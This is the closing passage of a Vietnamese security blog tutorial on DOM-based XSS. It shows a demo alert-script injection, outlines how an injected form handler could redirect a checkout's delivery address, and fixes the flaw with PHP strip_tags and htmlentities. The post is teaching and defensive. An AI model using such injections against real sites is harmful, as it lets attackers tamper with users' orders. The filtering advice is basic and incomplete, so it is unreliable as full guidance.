<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="FR">Nhìn trong khung <b>Inspect Element</b> của <b>Firebug</b>, chúng ta thấy thuộc tính đã được <b>Inject</b> thành công. Và khi <b>Juno_okyo</b> nhấn vào <b>Save Status</b> thì một hộp thoại thông báo đã hiện lên, khi nhấn <b>OK</b> thì trang đứng im vì đoạn <b>JavaScript</b> đã <b><i>return false</i></b> sau khi thông báo.</span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Hiện một hộp thông báo chỉ là mô phỏng trong ví dụ trên, mở rộng ra từ ví dụ 4, xét trường hợp nếu<b>Hacker/Attacker</b> viết một hàm xử lý <b>Form</b> rồi đặt thuộc tính <b>OnSubmit</b> trỏ tới hàm đó. Khi người dùng nhấn <b>Submit Form</b> thì hàm đó bắt các giá trị và thích làm gì thì làm sẽ ra sao nhỉ? Theo trường hợp<b>Form</b> đó nằm trong một trang thanh toán, mà người dùng phải nhập giá trị hàng và địa chỉ nhận hàng, nếu hàm xử lý thay đổi giá trị là địa chỉ nhận hàng mới rồi mới <b>submit</b> tới tệp tin xử lý của <b>Form</b> thì mức độ thiệt hại tất nhiên là người dùng chịu rồi.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Kết luận</span></span></h1>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">OK, qua 4 ví dụ trên <b>Juno_okyo</b> đã chỉ ra mức độ nguy hiểm của lỗi bảo mật <b>XSS</b> với trường hợp tấn công sử dụng kỹ năng <b>DOM-Base XSS</b>. Xin nhắc lại là <b>JavaScript hoàn toàn có thể truy cập và tương tác với mọi phần tử của DOM</b> và <b>XSS</b> chính là bước đà giúp <b>Hacker/Attacker</b> chèn các đoạn mã <b>JavaScript</b> vào trong trang nạn nhân. Vì thế chúng ta – trên phương diện là các <b>Web-master/Developer </b>khi phát triển một Website không thể chủ quan, coi thường những lỗ hổng cơ bản như <b>XSS</b>, luôn cẩn trọng trong việc xử lý các nơi dữ liệu đầu vào từ người dùng như Form đăng nhập, đăng ký, tìm kiếm thông tin,… Lọc tất cả dữ liệu trước khi lưu vào cơ sở dữ liệu hoặc khi in ra trên trang.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<h1 style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; margin: 0px; position: relative;">
<span style="font-size: medium;"><span lang="FR">Ngăn ngừa, lọc và vá các lỗ hổng XSS</span></span></h1>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Việc chặn các lỗ hổng <b>XSS</b> xảy ra không khó, bạn chỉ cần cẩn thận với các dữ liệu được nhập vào từ người dùng trước khi in ra. Trong ví dụ ngày hôm nay, <b>Juno_okyo</b> sẽ viết lại tệp tin mô phỏng như sau:</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="VI"></span><span lang="FR"></span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBpvzdSN2RImb8t9Cj7ktPyYalFuIYlSog7oE1JnZElZYIu847BNdA5PHIWAIi-STjqzOin7gcsZztJTP0YVCh80xP7o2ZXrXpH9jqQEQYiRZMx1bxbEVkw2ORpaS8aOf6GovrGKzy1O1-/s1600/DOM15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM15" border="0" height="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBpvzdSN2RImb8t9Cj7ktPyYalFuIYlSog7oE1JnZElZYIu847BNdA5PHIWAIi-STjqzOin7gcsZztJTP0YVCh80xP7o2ZXrXpH9jqQEQYiRZMx1bxbEVkw2ORpaS8aOf6GovrGKzy1O1-/s1600/DOM15.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Các bạn hoàn toàn có thể chỉ cần dùng một trong hai hàm trên, nhưng mình thì thường lồng cả hai hàm với nhau (<b>htmlentities</b> lồng ngoài <b>strip_tags</b>). Lý do:</span></div>
<div class="ListParagraphCxSpFirst" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-indent: -0.25in;">
<span lang="FR" style="font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">        </span></span><b><span lang="FR">Strip_tags</span></b><span lang="FR"> sẽ giúp lọc toàn bộ những chuỗi là thẻ <b>HTML</b> từ người dùng (đủ an toàn).</span></div>
<div class="ListParagraphCxSpLast" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-indent: -0.25in;">
<span lang="FR" style="font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">        </span></span><b><span lang="FR">Htmlentities</span></b><span lang="FR"> sẽ lọc lần 2, tác dụng của hàm này là chuyển tất cả những ký tự nguy hiểm thành các ký tự <b>HTML</b> an toàn.</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Kết quả sau khi <b>vá lỗ hổng</b> XSS:</span></div>
<div class="separator" style="background-color: rgba(0, 0, 0, 0.258824); clear: both; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ1uG5d-uSk7pfRa_yFEF6KlgKXlgO8HxM2_mEji-8PHCiMlWcHFQ8Q7r744qZP1ffjFFq5yBMkbzYR8tWMKi4rjgTOOqV5AJ9HghwtNOpiuKp8YSUpQuibT-cQntCu77XkeoxFvg700er/s1600/DOM16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black;"><img alt="DOM16" border="0" height="345" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ1uG5d-uSk7pfRa_yFEF6KlgKXlgO8HxM2_mEji-8PHCiMlWcHFQ8Q7r744qZP1ffjFFq5yBMkbzYR8tWMKi4rjgTOOqV5AJ9HghwtNOpiuKp8YSUpQuibT-cQntCu77XkeoxFvg700er/s1600/DOM16.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; background: rgb(34, 34, 34); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid transparent; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 0px; padding: 8px; position: relative;" width="400" /></span></a></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<span lang="VI"></span><span lang="FR"></span></div>
<div align="center" class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-align: center;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Sau khi đoạn JavaScript được Inject:</span></div>
<div class="ListParagraphCxSpFirst" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-indent: -0.25in;">
<span lang="FR" style="font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">        </span></span><b><span lang="FR">Strip_tags</span></b><span lang="FR">: lọc đoạn script – loại bỏ 2 thẻ <b><script></b> và <b></script></b> nên chỉ còn chuỗi: <b>alert(‘I am Juno_okyo’)</b>.</span></div>
<div class="ListParagraphCxSpLast" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px; text-indent: -0.25in;">
<span lang="FR" style="font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">        </span></span><b><span lang="FR">Htmlentities</span></b><span lang="FR">: lọc tiếp chuỗi lần 2 chuyển 2 dấu nháy kép thành <b>&quot ;</b> (chúng ta sẽ vẫn thấy nháy kép trên trang, nhưng khi <b>view-source</b> sẽ thấy tác dụng của <b>Htmlentities</b>).</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Vậy là xong, chúng ta đã có xử lý và cản lọc dữ liệu đầu vào từ người dùng. Bài viết tới đây là hết, hãy chia sẻ nếu thấy hay và ủng hộ cho <b>Juno_okyo</b>. Mọi ý kiến đóng góp hay góp ý thêm cho bài viết xin gửi về địa chỉ Email: <a href="mailto:junookyo@gmail.com" style="text-decoration: none;">junookyo@gmail.com</a> hoặc <a href="mailto:juno_okyo@yahoo.com.vn" style="text-decoration: none;">juno_okyo@yahoo.com.vn</a> . Cảm ơn đã theo dõi!</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Chúc các bạn thành công!</span></div>
<div class="MsoNormal" style="background-color: rgba(0, 0, 0, 0.258824); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<span lang="FR">Mọi trường hợp chia sẻ bài viết hoặc đăng tải lại lên các Website/Forum khác vui lòng ghi rõ nguồn:<b><a href="http://junookyo.blogspot.com/" style="text-decoration: none;">Juno_okyo’s Blog</a></b> (http://junookyo.blogspot.com).</span></div>

XSS có nguy hiểm hay không?

Như các bạn đã biết thì Cross Site Scripting (hay còn gọi là XSS ) là một lỗi bảo mật cho phép người tấn công ( Attacker , Hacker , Pe...

Mr.Quay's Blog

Wordpress Simple Share Buttons Adder Plugin 4.4 - Multiple Vulnerabilities

Mailspect Control Panel 4.0.5 - Multiple Vulnerabilities

Cross-site request forgery CSRF

Unpatched Google Vulnerabilities That Can Aid Cyber Attacks

XSSYA Cross Site Scripting And Vulnerability Confirmation Scanner

XSS in CNET Website Not Fixed [#POC]

eFront 3.6.14.4 (surname param) - Persistent XSS Vulnerability

[TUT] Cross Site Scripting (XSS)

XSS có nguy hiểm hay không?

Xem Nhiều

Blog Archive

Nhận xét mới đăng tải!